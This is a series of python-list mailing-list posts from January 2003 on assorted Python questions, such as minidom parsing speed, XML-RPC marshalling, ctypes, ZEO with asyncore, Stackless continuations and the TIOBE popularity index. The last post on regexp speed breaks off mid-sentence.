From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Thu, 2 Jan 2003 13:36:31 -0700
Subject: Why is xml.dom.minidom so slow?
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE14@admin56.narex.com>

Background: I've got 750 accounts in xml format in a 50 Mb file. I can
extract the string for an individual account at a rate of >290
accts/sec. When I add a call to parseString() afterwards however, the
speed drops to 0.75 accts/sec.

All I'm doing boils down to:

  response = rf.nextResponse()
  dom = parseString(response)

in a loop. Am I doing something wrong? Is there a faster way when all I
need is a traversable tree structure as the result?

For our requirements we can't use anything under 10 accts/sec without
impacting our SLAs...

-- bjorn




From lac at strakt.com  Mon Jan 20 23:55:08 2003
From: lac at strakt.com (Laura Creighton)
Date: Tue, 21 Jan 2003 05:55:08 +0100
Subject: Where do you store data files? 
In-Reply-To: Message from Cliff Wells <LogiplexSoftware@earthlink.net> 
   of "20 Jan 2003 17:22:37 PST." <1043112157.32094.381.camel@software1.logiplex.internal> 
References: <bdb5b58f.0301201653.3a9166d4@posting.google.com> <1043112157.32094.381.camel@software1.logiplex.internal> 
Message-ID: <200301210455.h0L4t8jL009937@ratthing-b246.strakt.com>

Cliff Wells:
> Can't speak for the Win32 crowd, but on Linux the best places would be
> either /tmp (although this can open security risks) or somewhere in the
> user's home directory.  A lot of apps will use a hidden "dot" file or
> directory, e.g. ~/.appname/cache

Warning: If your users have to pay for disk storage, and you hide huge
log files in hidden .files or .directories, when the bill comes due
they may be quite unhappy.

Laura Creighton





From max at alcyone.com  Sun Jan  5 00:47:10 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sat, 04 Jan 2003 21:47:10 -0800
Subject: php vs python
References: <mailman.1041625688.13638.python-list@python.org> <3e16006e$0$230$edfadb0f@dread12.news.tele.dk> <3e160151$0$49101$e4fe514c@news.xs4all.nl> <3E1621F2.C9FA1D6F@engcorp.com> <ba0f1v0hrn572t8tnntkrcfju4e6fkcgob@4ax.com> <av82af$6eu$1@knot.queensu.ca>
Message-ID: <3E17C6DE.F2BD98E4@alcyone.com>

aonaran at yahoo.com wrote:

> With the introduction of iterators in python 2.2 (IIRC) it's even
> simpler:
> 
>         for key, val in d.items():
>             print key,'=',val

This actually doesn't have anything to do with iterators, this has been
good Python since 1.5.2 at least.  In 2.x, the dictionary itself is an
iterable object and iterating over it is equivalent to iterating over
its keys.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ War is a continuation of policy by other means.
\__/ Karl von Clausewitz
    CAGE / http://www.alcyone.com/pyos/cage/
 A cellular automaton simulation system in Python.



From shagshag13 at yahoo.fr  Tue Jan 28 08:30:38 2003
From: shagshag13 at yahoo.fr (Shagshag13)
Date: Tue, 28 Jan 2003 14:30:38 +0100
Subject: HTTP Post ?
Message-ID: <b160i7$vkccb$1@ID-146704.news.dfncis.de>

hello,

i'm trying to simulate a http post with python. i've found the following in another post and it seems to work:

import urllib
params = {'param1': 'data1', 'param2': 'data2'}
cparams = urllib.urlencode(params)
fh = urllib.urlopen('http://localhost/cgi-bin/test.py', cparams)

but i would like to understand how http post headers are built and how it's actually work, please do any of you have  pointers/links
to relevant information on the subjet ?

thanks in advance,

s13.





From fuf at mageo.cz  Wed Jan  8 12:25:56 2003
From: fuf at mageo.cz (Michal Vitecek)
Date: Wed, 8 Jan 2003 18:25:56 +0100
Subject: global variable not seen (bug?)
In-Reply-To: <x71y3nwolf.fsf@guru.mired.org>
References: <mailman.1042041138.4444.python-list@python.org> <x71y3nwolf.fsf@guru.mired.org>
Message-ID: <20030108172556.GA8922@foof.i3.cz>

Mike Meyer wrote:
>The global statement doesn't declare a variable, it tells the
>interpreter to look in the global namespace for the variable. Since it
>isn't there, the name is going to be undefined. Try doing
>"GLOBAL_VARIABLE = 1" in your interpreter before you infoke
>someFunction().
>
>        <mike

 this doesn't help:

---session start---
>>> from imported import *
>>> GLOBAL_VARIABLE="some value"
>>> someFunction()
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "imported.py", line 2, in someFunction
    print GLOBAL_VARIABLE
NameError: global name 'GLOBAL_VARIABLE' is not defined
>>> 
---session end---

 i must say that this behaviour is pretty strange (non-intuitive at
 least). why is it that the function looks for that variable in the
 scope of its module? wouldn't that be more intuitive if it looked for
 the variable in the current global scope?

-- 
		fuf		(fuf at mageo.cz)




From zeitlin at parthe.lpthe.jussieu.fr  Sat Jan 25 19:22:41 2003
From: zeitlin at parthe.lpthe.jussieu.fr (Vadim Zeitlin)
Date: Sun, 26 Jan 2003 00:22:41 +0000 (UTC)
Subject: wxMenuBar
References: <3E32972C.8000608@reidlai.com>
Message-ID: <slrnb36aih.16p.zeitlin@parthe.lpthe.jussieu.fr>

On Sat, 25 Jan 2003 21:54:52 +0800, Reid Lai <reidlai at reidlai.com> wrote:
> Is there any way to change langauge of default "Window" menu when I 
> create an empty wxMenuBar?

 It should happen automatically if the system locale is one of the supported
ones by wxWindows. Which one is it in your case?

 Regards,
VZ
-- 
GCS/GM d? H+ s++:-- p2 au--- a- w+ v C+++ UBLS+++ P- L++ N++ E--- W++++ M? V--
-po+ R++ G`` !tv b+++ D--- e++++ u++ h--- f+ r++ n- y?



From fbartletFIXIT at optonline.net  Wed Jan 22 13:40:12 2003
From: fbartletFIXIT at optonline.net (Frederick Bartlett)
Date: Wed, 22 Jan 2003 18:40:12 GMT
Subject: Can't Read a Lob via DCOracle2
Message-ID: <3E2EE589.2060009@optonline.net>

Gerhard (or anyone else):

Thanks for the advice -- I've gotten DCOracle2 correctly installed (I 
think), but still have lob troubles.

given the following:

import DCOracle2
db = DCOracle2.connect(<connectstring>)
c  = db.cursor()
c.execute("select <stuff> from <table>")
mylist = c.fetchall()

I get a list of lists such that mylist[n][5] is a "LobLocator object".

I can do, say, mylist[0][5].length() and get the length of the lob, but 
mylist[0][5].read() returns nothing (well, None).

I don't see any other method that might allow me to read my lobs via Python.

Am I missing something really obvious?

Thanks,
Fred




From rmunn at pobox.com  Thu Jan  2 11:51:46 2003
From: rmunn at pobox.com (Robin Munn)
Date: Thu, 02 Jan 2003 16:51:46 GMT
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com>
Message-ID: <slrnb18rrp.7kd.rmunn@rmunnlfs.dyndns.org>

Johan <johan at contillion.com> wrote:
> Hi,
> 
> Anyone know some good Python editors under Linux?
> With good color highlightning... :)
> 
> I prefer free editors (have seen WingIDE but it isnt free :(...).
> 
> I hope someone know where i can find some editors :)
> 
> Looking forward to your replies... :)
> 
> Regards,
> Johan

My personal preference is for Vim (http://www.vim.org/). It's standard
Unix vi with all the features (like color highlighting, text folding,
etc.) that you might want in a programmer's editor. If vi isn't your cup
of tea, you won't like Vim. But if, like me, you've grown used to the
flexibility of vi's modal keybindings, you'll love it. To give you an
idea, I am actually twice as productive, roughly, in Vim as in another
editor. This is only a subjective measure, but there you go.

-- 
Robin Munn <rmunn at pobox.com>
http://www.rmunn.com/
PGP key ID: 0x6AFB6838    50FF 2478 CFFB 081A 8338  54F7 845D ACFD 6AFB 6838



From anthony at interlink.com.au  Tue Jan 21 19:31:49 2003
From: anthony at interlink.com.au (Anthony Baxter)
Date: Wed, 22 Jan 2003 11:31:49 +1100
Subject: Outlook Express and COM 
In-Reply-To: <2ulX9.83789$Yo4.4666988@news1.calgary.shaw.ca> 
Message-ID: <200301220031.h0M0Vnx03017@localhost.localdomain>

>>> "John E. Barham" wrote
> I'm developing a server-side Bayesian spam-filtering system and would like
> to pre-train the filter using my potential users' existing mailboxes, many
> of whom will be using Outlook Express (i.e., switching to a Unix MUA is not
> an option...).  I'd like to scan through their address books to build a
> white-list and through their emails to build a dictionary of "ham" tokens.
> Does OE provide COM interfaces to do this?  It would be especially nice if
> it provided a pre-parsed interface to emails so that I could avoid parsing
> raw RFC 822 messages or messing w/ DBX mailboxes.

The spambayes project (http://www.spambayes.com/) has an Outlook2000
plugin that does just this. Unfortunately it doesn't work for Outlook
Express - I _think_ Mark Hammond commented that OE didn't expose the
necessary hooks. Check the spambayes archives for more.



-- 
Anthony Baxter     <anthony at interlink.com.au>   
It's never too late to have a happy childhood.





From skip at pobox.com  Wed Jan 22 15:24:11 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 22 Jan 2003 14:24:11 -0600
Subject: trying to wrap xmlrpclib into classes
In-Reply-To: <3E2EF70A.7040208@outerthought.org>
References: <004b01c2c16c$ef26c780$21795418@dell1700>
        <3E2E947D.7050600@outerthought.org>
        <15918.42917.203377.862983@montanaro.dyndns.org>
        <3E2EABEA.4050405@outerthought.org>
        <15918.45702.385600.887517@montanaro.dyndns.org>
        <3E2EF70A.7040208@outerthought.org>
Message-ID: <15918.65003.554575.823481@montanaro.dyndns.org>

    >> As does this.  Do you wrap twodaysago in a DateTime object locally or
    >> just pass it along as a tuple?

    Steven> tuple - is that OK?

Yes, that's fine.  It will emerge as a list on the other end, because
XML-RPC doesn't have the concept of an immutable array.

    Steven> an XMLRPC array is translated in a list of dictionary objects,
    Steven> IIUC, which is a bit awkward to navigate

    Steven> for my application, I prefered to wrap that into a dictionary of
    Steven> tuples, providing easier access to the items in the array.
    Steven> Maybe, after having learned more about the different data types,
    Steven> I might come up with another structure...

I think maybe you're misinterpreting something.  Can you post an example
with output which shows the problem?  When you say "dictionary of tuples" do
you mean a dictionary with tuples as the keys or with tuples as the values?
If you want to use a dictionary with tuples as keys, then you'll have to
stringify those tuples somehow before passing the dict across the wire.
You'd then need to unserialize it at the other end.  In my own application I
do something similar to allow Unicode strings to pass back and forth.
Untested code cobbled from my own app:

    xmlrpc_dispatch = {}
    def xmlrpc_marshal_dict(d):
        newd = {}
        for k in d.keys():
            newk = k
            if not isinstance(k, str):
                # this will only work if you're talking to Python at
                # the other end and repr(k) can be reparsed to
                # reconstitute k!
                newk = repr(k)
            newd[newk] = xmlrpc_marshal(d[k])
        return newd
    xmlrpc_dispatch[dict] = xmlrpc_marshal_dict

    def xmlrpc_marshal(item):
        if type(item) in (float, int, bool, str):
            return item
        try:
            return xmlrpc_dispatch[type(item)](item)
        except KeyError:
            # stringify anything else we don't understand
            return repr(type(item))

Skip




From peter at engcorp.com  Tue Jan 28 14:36:30 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 28 Jan 2003 14:36:30 -0500
Subject: Which exception to use?
References: <b16lui$j3s$1@bob.news.rcn.net>
Message-ID: <3E36DBBE.C630E2E1@engcorp.com>

"Edward C. Jones" wrote:
> 
> Which exception is it best to use in the following pieces of code?
> 
> if len(sys.argv) != 2:
>      raise SomeException, 'program requires exactly one argument'
> 
> if len(sometuple) != 3:
>      raise SomeException, 'sometuple must have length 3'
> 
> I use TypeError or ValueError but they don't feel right. I wish there
> was a SizeError or LengthError.

IndexError?  If you wish to use that, you don't even need to
do the test yourself. ;-)

By the way, I believe "raise SomeException('program blah blah')" is
the more correct way of expressing the above.

-=Peter



From peter at engcorp.com  Wed Jan 22 09:25:50 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 22 Jan 2003 09:25:50 -0500
Subject: Easiest way to include C libraries
References: <4378fa6f.0301211616.3b353722@posting.google.com> <3E2DEF9F.A8596B23@engcorp.com> <bs29tyi2.fsf@python.net>
Message-ID: <3E2EA9EE.EB599DC6@engcorp.com>

Thomas Heller wrote:
> 
> Peter Hansen <peter at engcorp.com> writes:
> 
> > Marc wrote:
> > >
> > > Basically I have to include a bunch of header files (.h for C) or .dll
> > > files (for Tcl) and be able to access them from Python code. These
> > > files are quite large, so any manual intervention will be time
> > > consuming. The new release of Python mentioned some new ways of
> > > extending it, but I'm not sure how many people have used these new
> > > functions or what problems they might have.
> >
> >
> > Look into "calldll" or the newer potential replacement ... uh.. dang!
> > What was the name of that thing?  Why didn't I bookmark it. :-(
> >
> > (No doubt some kind soul will post the name and save us the trouble
> > of searching futilely for it... so far Google hasn't helped me.)
> 
> ctypes.
> 
> http://starship.python.net/crew/theller/ctypes.html

Thank you thank you thank you. :-) Bookmarked at last!

(We're still using calldll, but from what I've seen it will be a nice
move to switch to ctypes.)

-Peter



From peter at engcorp.com  Tue Jan 28 09:00:58 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 28 Jan 2003 09:00:58 -0500
Subject: .pyc files
References: <SHiZ9.2867$zI3.18023571@news-text.cableinet.net> <3E35F105.27C32244@engcorp.com> <_anZ9.1126$8p1.805@nwrddc04.gnilink.net>
Message-ID: <3E368D1A.FF61316A@engcorp.com>

Carl Banks wrote:
> 
> Peter Hansen wrote:
> > Newt wrote:
> >>
> >> From a command line, how do I create pyc files? I know I can do it from
> >> within IDLE, but I want to use a different editor (for other languages).
> >
> > I just started wondering, why do you want to do this?  Do you
> > realize that Python automatically creates the pyc files for
> > you when you import modules?  It is only in rare cases that
> > you actually need to generate a .pyc file "manually".  Maybe
> > this is not such a case?  Just wondering...
> 
> Maybe he's trying to install a package by hand.  If you just copy the
> .py files to a library directory, a user python process couldn't store
> the .pyc files, so you compile the .py files before copying.

I got the impression from the "I want to use a different editor" part
that he thinks he needs to compile Python code from within the editor
before running it during development, just as you often do in an IDE
for a statically compiled language such as C.  Maybe your theory is 
closer to the truth though.

-Peter



From amir at clockwise3d.com  Tue Jan 21 06:08:24 2003
From: amir at clockwise3d.com (Amir Hadar)
Date: 21 Jan 2003 03:08:24 -0800
Subject: Custom Code Block
References: <b06g8c$dke$1@news2.netvision.net.il> <mailman.1042739977.16766.python-list@python.org>
Message-ID: <3324f4eb.0301210308.4afb5cf4@posting.google.com>

I'm a colleague of Mr. Zeev. We have patched Python 2.2 with holger
patch and it worked real nice. This can really make things easier for
us.
However we still have a problem implementing a certain feature that we
need.
What we need is a fork bock
Example:
def func():
	<fork>
		print "hello"
	print "func end"

In this method we want the command print "hello" to run in a different
thread. A more generic solution will be something like a complex
macro. Means that this method will be translated to this:
def func():
	def uniquename():
		print "hello"
	fork(uniquename)
	print "func end"

If we could do the same without using a unique name it will be better.
I can do this without inventing new bytecodes by simply manipulating
the parse tree in the com_node(c,n) function. The problem is that the
node functions/macros lake the ability to extract a child node and
more important to get to the parent node. Without getting to the
parent node I can't replace the block statement with another one (I
can modify the current node instead).

Another solution is to insert the correct bytecodes as if this
manipulation was done. However, though I have some experience in Java
VMs, I don't really fully understand the python compiler and running
model to be able to do that without introducing bugs.
So I have the following questions:
-Where can I find documentation on the python bytecode, running model,
etc.?
-Is there something like a VM Spec to reference.
-If I want to manipulate the parse tree, can I hook to the parser
before the pars tree hits the compiler?
-If I modify the parse tree, can it harm in some way the compiler
(assuming that I leave a legal parse tree after I modify it)?
-Is there a way to hook to the parser through python code? Means that
python will use python to compile its files in import statment.

Any other help will be welcomed.

Thanks 
	Amir Hadar



From jeremy at alum.mit.edu  Tue Jan 21 15:45:36 2003
From: jeremy at alum.mit.edu (Jeremy Hylton)
Date: 21 Jan 2003 12:45:36 -0800
Subject: ZEO/wxPython
References: <3e2ce16e$0$7816$afc38c87@news.optusnet.com.au> <3E2D538C.92ABDC03@engcorp.com>
Message-ID: <b0f083db.0301211245.307002bc@posting.google.com>

Peter Hansen <peter at engcorp.com> wrote in message news:<3E2D538C.92ABDC03 at engcorp.com>...
> Mike Thompson wrote:
> > 
> > I'm interested in writing a ZEO client using wxPython. Is this possible?
> > 
> > Would their event loops have to be unified?
> 
> What event loops?  ZEO isn't a GUI... it doesn't *have* an event 
> loop, as I understand the term.  It's an architecture for multi-
> system use of the Zope Object Database (ZODB).
> 
> It's probably quite straightforward to do this, although you might
> want to describe what you are hoping to accomplish so we can help
> you if you have the wrong idea about what these can do for you.

ZEO is based on asyncore, so it's most straightfoward use does involve
something running the asyncore mainloop.  The mainloop isn't strictly
necessary, but it
makes it easier to use ZEO.

The chief value of the mainloop is that it will handling incoming
invalidation messages from the ZEO server.  If you don't have a
mainloop running, you should
call the ClientStorage's sync() method periodically.  sync() will
process any pending messages from the server.  It can be annoying to
remember to call sync().

The way ZEO is used by Zope, there's a separate thread that runs the
asyncore mainloop and that thread delivers the invalidations to the
client.

Hope that helps,
Jeremy



From lac at strakt.com  Sun Jan  5 07:54:07 2003
From: lac at strakt.com (Laura Creighton)
Date: Sun, 05 Jan 2003 13:54:07 +0100
Subject: parameter/argument terminology 
In-Reply-To: Message from "Donnal Walter" <donnalcwalter@yahoo.com> 
   of "Sun, 05 Jan 2003 06:22:14 CST." <av97vu$p93$1@main.gmane.org> 
References: <av97vu$p93$1@main.gmane.org> 
Message-ID: <200301051254.h05Cs7jL024381@ratthing-b246.strakt.com>

> In writing Python documentation for functions/methods, are the terms
> 'argument' and 'parameter' essentially interchangeable? Or is it true that
> parameter usually refers to the definition and argument to the call?

I think that this one is likely to be very regionally dependent. 
Such things fascinate me.  So I'll play ...

> 
>     def myFunc(self, P1, P2):
> 
>         print P1, P2             # P1 and P2 are parameters

or, 'formal parameters'.  But they aren't arguments.

>     def doSomething(self):
> 
>         X = 'Hello '
> 
>         Y = 'world'
> 
>         self.myFunc(X, Y)        # X and Y are arguments

yes, but I also call them 'actual parameters', almost exclusively
when I want to contrast them with the 'formal parameters', or 'default
parameters' in the definition.

> 
> Donnal Walter
> 
> Arkansas Children's Hospital

Laura Creighton  ... who wouldn't be surprised to see somebody who does
                 it precisely the other way around ....




From tismer at tismer.com  Mon Jan 20 08:57:58 2003
From: tismer at tismer.com (Christian Tismer)
Date: Mon, 20 Jan 2003 14:57:58 +0100
Subject: Continuations
In-Reply-To: <%JKW9.76002$H7.3528201@news2.calgary.shaw.ca>
References: <%JKW9.76002$H7.3528201@news2.calgary.shaw.ca>
Message-ID: <3E2C0066.3070105@tismer.com>

Gregor wrote:
> I came across an introduction to Stackless Python and continuations which 
> piqued my interest. It gave the following example to illustrate how a 
> continuation works:

Please note that I don't support continuations
any longer.

> def looptest(n):
> 
>     this = continuation.current()
> 
>     k = this.update(n)
>       # continuation at "="
>     if k:
>         this(k-1)
>         # resuming at "="
>     else:
>         del this.link
> 
> 
> Can anyone tell what "this.update(n)" is, does, or represents? I 
> understand the basic idea of what a continuation is, but that by itself 
> isn't enough background for me to guess what all the terms mean.

Continuations are immutable, by definition.
The example above need to update, in order to catch
the continuation exactly at the position of the equals
sign. This is the point where execution should be resumed.
I didn't find a better way to express this.
This cannot be found anywhere in the literatore since
I invented it.

And it is too hard to explain, therefore I dropped it.

> Every introduction to continuations I've found either describes it using 
> Scheme, which I haven't touched in a decade, and which I suspect most 
> people haven't worked with at all, or re-uses the above Python example 
> with little explanation.

In Scheme, it is easier to express, and you don't need
tricks like above.
While Python doesn't need continuations.
Stackless focuses on tasklets and channels, now.

ciao - chris

-- 
Christian Tismer             :^)   <mailto:tismer at tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/





From gmuller at worldonline.nl  Fri Jan 24 15:54:34 2003
From: gmuller at worldonline.nl (GerritM)
Date: Fri, 24 Jan 2003 21:54:34 +0100
Subject: Reaction from TIOBE (was Python use growing or shrinking)
Message-ID: <b0s9at$21g$1@reader1.tiscali.nl>

Some time ago we also had a discussion about the meaning of the TCPI on
(http://www.tiobe.com/tpci.htm) . To prevent too much speculation I mailed
with Paul Jansen, from Tiobe. I have included the original explanation at
the bottom.

This time I notified Paul that a new discussion was going on again. I asked
what he changed in the mean time. Below is a free translation of his answer:
---translated answer---
Hoi Gerrit, thanks for your e-mail.

You are entirely right that we need to publish the algorithm as soon as
possible. At this moment the TCPI is extremely popular (for example
yesterday we had 10157 hits on our site). This also has disadvantages. The
Smalltalk community is firing me with angry e-mails, why is their nice
language not mentioned. They don't accept position 28.

Since our previous discussion I have collected more data, which makes the
results more balanced. This also resulted in the A and B status for
programming languages. In principle all generic and specific programming
language pages are added together. If a programming language is below 0.1%
than it gets status B. When I have collected sufficient data I can also
determine how much the growth of a language depends on the number of pages
provided by Google. At this moment all languages grow, which is not
realistic.

I also worked on removing false positives. RPG for instance also appears to
be popular for "Role Play Game". I want to present the long term trends
graphical from February 1.

Finally I would like to spend more time on the TPC index, but we have to
earn money at TIOBE. The fact that we increasd the company size from 2 to 4
employees increases the workload even more. But I will do the best I can.

Regards Gerrit

---end translation---
---original Dutch message---

Hoi, Gerrit,
Bedankt voor je mail!

Je hebt helemaal gelijk dat er zo snel mogelijk een publicatie over het
algorithme moet plaatsvinden. Op dit moment is de TPCI razend populair
(gisteren bijvoorbeeld hadden we 10157 hits op onze website). Dit heeft ook
zo'n z'n nadelen. De Smalltalk community bekogelt me met boze mails waarom
ze niet genoemd worden want het is toch zo'n mooie taal. Ze nemen geen
genoegen met plaats nummer 28.

Ik ben sinds onze vorige discussie meer data aan het verzamelen waardoor de
uitkomsten meer gebalanceerd zijn. Dit heeft ook geleid tot de invoering van
een status A en een status B voor talen. In principe worden alle generieke
en specifieke programmeertaal pagina's bij elkaar opgeteld en als een
programmeertaal dan op minder dan 0.1% van het geheel voorkomt, is deze
status B. Als ik voldoende data heb verzameld kan ik ook zien hoeveel groei
van een taal afhangt van het feit dat Google gewoon meer pagina's
beschikbaar stelt. Nu groeit bijvoorbeeld elke taal en dat is niet
realistisch.

Verder is er nog aan gewerkt om false positives eruit te werken. RPG schijnt
bijvoorbeeld ook voor het populaire "Role Play Game" te staan. Verder wil ik
vanaf 1 februari ook langere termijn trends laten zien aan de hand van een
grafisch overzicht.

Tot slot, ik vind het ook jammer dat ik niet meer aandacht aan de TPC index
kan besteden, maar we moeten ook gewoon geld met TIOBE verdienen. Het feit
dat we de afgelopen maanden van 2 naar 4 medewerkers zijn uitgebreid
betekent nog eens extra drukte. Maar ik ga m'n best doen!

Groeten,

Paul

---end message in Dutch---

---original message/explanation----
A few days ago we discussed the "Programming Community Index" at
http://www.tiobe.com/tpci.htm . The main comment was that the measurement
was not described public and that verification was impossible. I have asked
TIOBE for clarification and they have responded quite quickly. To my
surprise it turns out that a former collegae of me has written the answer,
in Dutch. His original message is below. I have tried to translate his
message literally.

---begin translation---

Apologies for the late reaction, we have a busy company. Thanks for your
reaction and for posting in the Python Newsgroup. Probably you will remember
me from the NatLan <Philips Research laboratory in Eindhoven, the
Netherlands>

The TIOBE Programming Community Index was and is started as my personal
hobby> Differences in expresivenessand semantics always interested me.
Besides I wanted to know the relative popularity. I has to come with a
simple criterium to measure popularity.

The many reactions on tweakers.net (more than 10,000 hits) and the
discussion on the Python newsgroup (more than 2,000 hits) I concluded that
at least the following issues have to be clarified on our web site:

1 A clear definition of a programming language
2 Make public the criteria used for the index to guarantee the objectivity
and to stimulate discussion
3 Explain why the collection of assembly languages is not included.

In fact 1 and 2 are related. The criteria we use are quite simple. Take a
language related with computers and search in Google on +"<language>
programming". This results in all hits of pages where the publisher sees
this <language> as programming related. Python scores according to this
criterium today 1,8 (17.500 hits). Try it yourself. That is somewhat less
than the 17.800 hits of August 1st 2002. By the way Python ids increasing
strongly the last few months.

For XML the counter is 21.300. Apparantly more than 20,000 site owners think
that XML has to do something with programming, which is significantly more
than for instance people  relate COBOL to programming.

There is a lot of criticism possible on this simple method, but at least it
shows you a trend, if you do this a number of years. I challenge you to
invent better criteria for the TCPI, which can also be easily measured. Auke
Jilderda (from Philips Research)
would like to open this discussion, may be we should take this up together.

Regards, also to the rest of the IST <Information and Software Technology
sector of Philips Research>.

Paul

PS You are free to publish this message (translated) in the newsgroup

---begin original message---
Hoi Gerrit,

Sorry voor de late reactie maar we hebben een druk bedrijf. Bedankt voor je
reactie in elk geval en het posten in de Python nieuwsgroep. Waarschijnlijk
kun je me nog herinneren van het NatLab.

De TIOBE Programming Community Index was en is eigenlijk gestart als een
persoonlijke hobby van me. Verschillen in uitdrukkingsvermogen en semantiek
in programmeertalen hebben me altijd al geinteresseerd. Daarnaast wilde ik
nu ook wel eens weten hoe de verhoudingen in populariteit lagen. Dus moest
ik een eenvoudig criterium verzinnen om de populariteit te meten.

Gezien de vele reacties op tweakers.net (meer dan 10,000 hits) en de
discussie in de Python nieuwsgroep (meer dan 2,000 hits) heb ik
geconcludeerd dat tenminste de volgende zaken verhelderd dienen te worden op
onze web site:

1. Een duidelijke definitie geven van wat onder programmeertaal wordt
verstaan;
2. De criteria die wij hanteren voor de index te openbaren zodat de
objectiviteit is gewaarborgd en er meer discussie kan ontstaan;
3. Uitleggen waarom een samenraapsel als assembler niet meedoet.

Eigenlijk hebben 1 en 2 veel met elkaar te maken. Het criterium dat wij
hanteren is heel simpel. Neem een taal die met computers heeft te maken en
zoek in Google op +"<taal> programming". Je krijgt dan alle hits van
pagina's waarvan de publisher die <taal> als gerelateerd aan programming
ziet. Python scoort volgens dit criteriun vandaag 1,8 (17.500 hits). Probeer
het zelf maar. Dat is iets minder dan de 17.800 hits van 1 augustus jl.
Python is overigens de laatste paar maanden behoorlijk flink aan het
stijgen.

Voor XML staat de teller op 21.300. Blijkbaar zijn er toch wereldwijd
minstens 20.000 site eigenaren die denken dat XML iets met programmeren
heeft te maken en dat is aanzienlijk meer dan dat mensen bijvoorbeeld COBOL
relateren aan programmeren.

Er kan veel op deze eenvoudige methode worden aangemerkt, maar het laat in
elk geval een trend zien indien je dit een aantal jaren volhoudt. Ik daag je
uit om betere criteria te vinden voor TPCI die wel nog eenvoudig te meten
zijn. Auke van Balen wilde deze discussie ook wel eens aan, misschien moet
we deze draad maar eens oppakken.

Groeten, ook aan de rest van het IST,

Paul

PS Je bent vrij om deze mail (vertaald) in de nieuwsgroep te publiceren.

---end original message---

--
www.extra.research.philips.com/natlab/sysarch/



--
www.extra.research.philips.com/natlab/sysarch/





From peter at engcorp.com  Sat Jan 11 16:20:46 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sat, 11 Jan 2003 16:20:46 -0500
Subject: backreference
References: <avmpkh$hra$1@wnnews.sci.kun.nl> <avq0mi$i7pnf$1@ID-130333.news.dfncis.de>
Message-ID: <3E208AAE.33C20C94@engcorp.com>

Cousin Stanley wrote:
> 
> Would a simple non-re version work ???
> 
> list_lines = [ 'Greetings, huMon.' ,
>                'How are you today?' ,
>                'I hope you are OK;' ,
>                'Python rocks!' ,
>                'Check the following:' ]
> 
> for xLine in list_lines :
> 
>     last_char = xLine[ len( xLine ) - 1 : ]
> 
>     xStr = xLine[ : -1 ]
> 
>     print xStr , last_char

I'm pretty sure his example would require you to separate
out the "," in "Greetings, huMon." as well as the final
characters (and the final characters only if they are
punctuation).



From vze4rx4y at verizon.net  Thu Jan  2 02:42:42 2003
From: vze4rx4y at verizon.net (Raymond Hettinger)
Date: Thu, 02 Jan 2003 07:42:42 GMT
Subject: File IO.
References: <3e13e820_4@corp.newsgroups.com>
Message-ID: <S3SQ9.49943$ac.2076@nwrddc01.gnilink.net>

"Jc" <jciber16 at hotpop.com> wrote in message
news:3e13e820_4 at corp.newsgroups.com...
> I'm writing a program and when it can't open a txt file it crashes. How
can
> I get it to report the file not being there? I set it up using the basic
> command,
>
> in_file = open(filename+".txt","r")
> text = in_file.read()
> in_file.close()
>
> Thanks.
>
> JC

Wrap the call in a try/except block:

try:
    open('nothere.txt')
except IOError:
    print 'Cannon open file'


Raymond Hettinger





From aleax at aleax.it  Wed Jan 29 17:52:10 2003
From: aleax at aleax.it (Alex Martelli)
Date: Wed, 29 Jan 2003 22:52:10 GMT
Subject: __getitem__ and slices
References: <b19jvq$jap$1@camelot.ccs.neu.edu>
Message-ID: <uWYZ9.138793$AA2.5735104@news2.tin.it>

Daniel Silva wrote:
   ...
> It was my understanding that primary[start:stop] would be translated into
> primary.__getitem__(slice(start,stop)).  Either the List __getitem__
> method or the documentation for sequences seems incorrect.

The former -- up to Python 2.2; fixed in Python 2.3.


Alex




From sholden at holdenweb.com  Fri Jan 10 12:20:56 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Fri, 10 Jan 2003 12:20:56 -0500
Subject: regexp speed concerns
References: <e15e4bd1.0301091611.411bafc2@posting.google.com>
Message-ID: <1dDT9.778$El.202@fe02>

"Jonathan Craft" <quioxl at yahoo.com> wrote ...
> Greetings,
>
> First off, I'm not looking to start a general perl vs. python
> discussion here, I'm just someone who has used perl in the past in my
> normal work and decided to try python out for fun.  Needless to say,
> I'm new to python and don't really have any in-depth experience with
> either language.  I have a slight feeling that my questions below may
> be misguided or irrelevant.
>
Ah. Looking for a fight, eh? :-)

> I had an original perl script that, in addition to several other
> functions, would parse simulation logfiles for specific errors that
> indicate failures.
>
> Just for fun, I converted the script from perl to python as a learning
> experience.  One of the first things I noticed was about a 3x increase
> in the average time for a parse to take place between my original perl
> script and my first attempt at a python replacement.  I managed to get
> that down to about a 2x multiplier when I replaced "re" calls with the
> "regex" equivalent (got that idea from a post somewhere, can't
> remember).  I parse files that are anywhere from a few hundred to a
> few million lines of text, and up to 300 differet files.  As I'm
> parsing them one line at a time via a for/in loop, I doubt file size
> really matters.  If you think I should look at improving the way I
> handle file I/O instead of regular expressions, let me know.
>
Andrew Dalke has givein you competent advice in that respect, so I'll leave
this topic alone except to observe that there are usually ways to improve
speed.

> I have a few questions:
> 1).  Should such a slowdown be expected?  The expression that I'm
> searching for is pretty simple (whitespace or start of line, followed
> by 1 of 3 possible strings), but I was suprised to see my python code
> slow down so visibly.  I've been unable to find a clear answer
> anywhere on which lang had faster regexp capabilities, which leads me
> to believe that the result varies on the situation.

Tim Peters puts it well when he says that Perl has "optimized the snot out
of regular expressions". While Python's implementation is no slouch, I am
